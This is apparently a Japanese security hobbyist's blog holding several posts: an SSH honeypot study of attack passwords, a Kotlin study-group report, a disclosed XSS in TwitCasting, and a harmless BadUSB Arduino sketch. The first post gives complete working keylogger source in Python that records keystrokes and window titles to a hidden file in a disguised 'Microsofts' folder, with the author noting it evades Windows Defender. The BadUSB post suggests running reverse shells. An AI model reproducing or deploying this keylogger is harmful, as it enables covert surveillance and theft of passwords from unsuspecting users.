#!

路上に就職!

Black Hat Python のキーロガーをPyHookedで書き直した。

Black Hat PythonPythonキーロガーを構築する章があるのですが ただ2系で書かれており3系に治してもPyhookで下記のエラーがでて動かなかった。。

TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'

そこで PyHookedと呼ばれるライブラリを使用し書き直すことにしました。

from pyhooked import Hook,KeyboardEvent
import sys
import os
import datetime
from ctypes import *

user32   = windll.user32
kernel32 = windll.kernel32
psapi    = windll.psapi
window_current = None

date = datetime.date.today()
file_name = date.strftime('%Y_%m_%d')

save_directory = '{0}//AppData//Local//Microsofts'.format(os.path.expanduser('~')) 
save_file = save_directory + '//' + '.' + file_name + '.txt'

input_key = []

def setting_keylogger():
    if not os.path.exists(save_directory):
        os.mkdir(save_directory)

def get_current_process():
    hwnd = user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    process_id = "%d" % pid.value
    executable = create_string_buffer(512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    window_title = create_string_buffer(512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    return window_title.value.decode('cp932', 'ignore')

def event(args):
    global window_current
    if isinstance(args,KeyboardEvent):
        if 'down' in args.event_type:
            now_window = get_current_process()
            if window_current != now_window:
                    input_key.append(now_window+"\n")
                    window_current = now_window
            if args.current_key not in ['Left','Up','Right','Down']:
                input_key.append(args.current_key)
            if 'Return' == args.current_key:
                with open(save_file,'a') as f:
                    f.write(''.join(input_key)+'\n')
                input_key.clear()

setting_keylogger()
window_current = get_current_process()
hook = Hook()
hook.handler = event
hook.hook()

C:\Users\username\AppData\Local にMicrosoftsというディレクトリを作成し.Y_m_d.txtというフォーマットで 押したキーを保存する部分を追加しました。Windows Defenderで検知されるかと思ったら意外と検知されずに 動いてしまった。
以下はVirusTotalにアップロードした結果です。

f:id:x6d61:20200206230234p:plain
VirusTotal

Windows Defenderに検知されて回避する記事を書こうと思ってたのに予定が狂ってしまった。

SSHに来る辞書攻撃で使われる単語を調べてみた

一週間ほどsshのログインを模倣するPythonスクリプトを動かして調査しました。 期間は2020/01/12~2020/01/19からで攻撃が来た回数は14305回です。

  1. admin
  2. !@
  3. root
  4. p@ssw0rd
  5. password
  6. oracle
  7. alpine
  8. 987654321
  9. 654321

一番多かったパスワードはadminです。多分、パスワードとユーザ名が同じジョーアカウントを狙いに来ているんだと思います。 気になるのはalpineでこちらはiPhoneを初期ユーザーがmobile:alpineで脱獄してsshdをインストールしたけどパスワードを変更してない人を
狙っていると思います。以下のログが残っていました。

INFO:Access account username:root password:alpine
INFO:Access account username:mobile password:alpine
  1. root
  2. ec2-user
  3. admin
  4. fake
  5. oracle
  6. mysql
  7. mobile
  8. admina

rootユーザーでの攻撃が14281回来ていて断トツで1位でした。fakeで攻撃が来ているのが気になります。

一番攻撃が多かった国は中国でした。二位はアメリカ。三位がイギリスでした。
1. 中国
1. アメリ
1. イギリス
1. フランス
1. ベトナム

以下で不正アクセスを試みたパスワード一覧を公開しています。

不正アクセスを試みたパスワード一覧 · GitHub

JavaDo Kotlin入門に参加してきた。

 久しぶりに勉強会へ行ってきました。ここ半年、土日はすべてゴロゴロして 外ににでてなかったので かなり久しぶりに参加しました。
参加した勉強会は Kotlinらしい書き方をモブプログラミングで学ぼう!です。

javado.connpass.com

Kotlin入門編:解説等

最初の発表は watanave さんのKotlin入門編です。
以下のテキストを使用し基本的な言語仕様などを学びました。言語仕様的には最近のモダンな言語に 通じるところがあり 特にわからないことがありませんでした。ですがJavaを今までやったことがないのであまり有り難みがわからず…
Javaを触ってきた他の方はかなり感動していました。

個人的に面白かった話はnull許容型と非null許容型の部分でnullかもしれないオブジェクトから
toInt()のようなメソッドを呼び出すときに test?.toInt()という糖衣構文を使うとnullだった場合
nullが返りnullじゃない場合は呼び出せる、安全呼び出しという機能がある話です。
またエルビス演算子(?:)というnullだった場合、別の値を返す演算子にも驚きました。
ただ一番興味があった関数部分がサラッと終わってしまったので少し残念です。

qiita.com

Kotlin練習編:モブプログラミングの方法

次は先程のKotlinの説明をもとに実際にプログラミングをする時間でしたが 普通にプログラミングするのではなくモブプログラミングという手法を使いました。 実際にやる前に山川さんからモブプログラミングの説明がありました。 モブプログラミングとはドライバーとモブに別れ1つのマシンを使いながら目標に向かってみんなでプログラミングします。 モブはモブ同士で話し合い合意が取れた意見をドライバーに支持してコードを書きます。
ドライバーはモブの指示なしで動いてはいけません。ドライバは時間を決めて交代し適度に休憩するのが良いらしいです。
目標を達成するとハイタッチするところが一番重要です!!

僕はここでダンスを踊りました。

実際にモブプログラミングはかなり盛り上がりました。普段の自分だと思いつかない
実装が提案されたり楽しかったです。ドライバーはUSキーボードに慣れておらず別の意味で
苦戦しました。これは会社でも導入してみたいです。

感想とか

久しぶりに勉強会へ参加してめちゃくちゃ刺激をうけました。
やっぱりハンズオンは楽しいですね!Kotlinは競プロとかで使用してみようと思います。
自分もなんだか勉強会で登壇したくなってきました。絶対にスライドづくり嫌がりそうだけど

ツイキャスでxss発見した。

ツイキャスxss発見した。

 

http://twitcasting.tv/rankingindex.php のgenreパラメータに反射型xss脆弱性があった。

f:id:x6d61:20170323201349p:plain

ツイキャスに直接メールしたら返信が来てから二日ぐらいで修正された。

脆弱性公表も了承済み

 

終わり

arudino互換ボードでBadusbごっこ

BadUSBとはBlack Hat 2014 に発表された攻撃手法。USBメモリファームウェアを書き換えてHIDデバイスとして認識させ、キーの自動入力を行う。本家は特定のUSBフラッシュコントローラのみコードしか公開していない。また、手間がものすごくかかる…(基盤をショートさせたり) Hak5が販売しているUSB Rubber Duckyというハードウェアがあるが一つ40$くらいする。そして、値段はお手軽ではない。。。 そこでHID USB キーボードとして認識させることができるArduino互換のボードを使用して簡単に実験してみる。

今回、使用するのは amazonから購入した ATmega32U4 を搭載したボード。

ダイレクトUSB 超小型 ATmega32U4ボード Arduino Leonardo互換

早速、スケッチを描いてみる。

#include <Keyboard.h>

void setup() {
  // put your setup code here, to run once:
  delay(3500);
  Keyboard.begin();
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('R');
  Keyboard.releaseAll();
  delay(200);
  Keyboard.print("notepad");
  delay(200);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
  Keyboard.print("Hello world!!");
  Keyboard.end(); 
}

void loop() {
  // put your main code here, to run repeatedly:

}

上記のスケッチを簡単に説明すると、まずdelay()でUSBを挿してから3.5秒間待機しwindowsキーとRを同時に押す。 notepadと入力してenter、メモ帳が起動したらhello worldと入力する単純なものになっている。

f:id:x6d61:20170115004110p:plain

→を押してボードに書き込む。実際に書き込む時はシリアルポートが選択されているか確認した方がいい。(そのミスで何回も書き込みに失敗した。
今回はメモ帳に文字を入力するだけだったがmetasploitのpayloadやHak5の動画であったreverse shellなどを実行させても良いと思う。素晴らしいアイディアを考えた人はぜひ教えて欲しい。また、自分の所有していないUSBメモリをむやみに接続するのはやめよう!!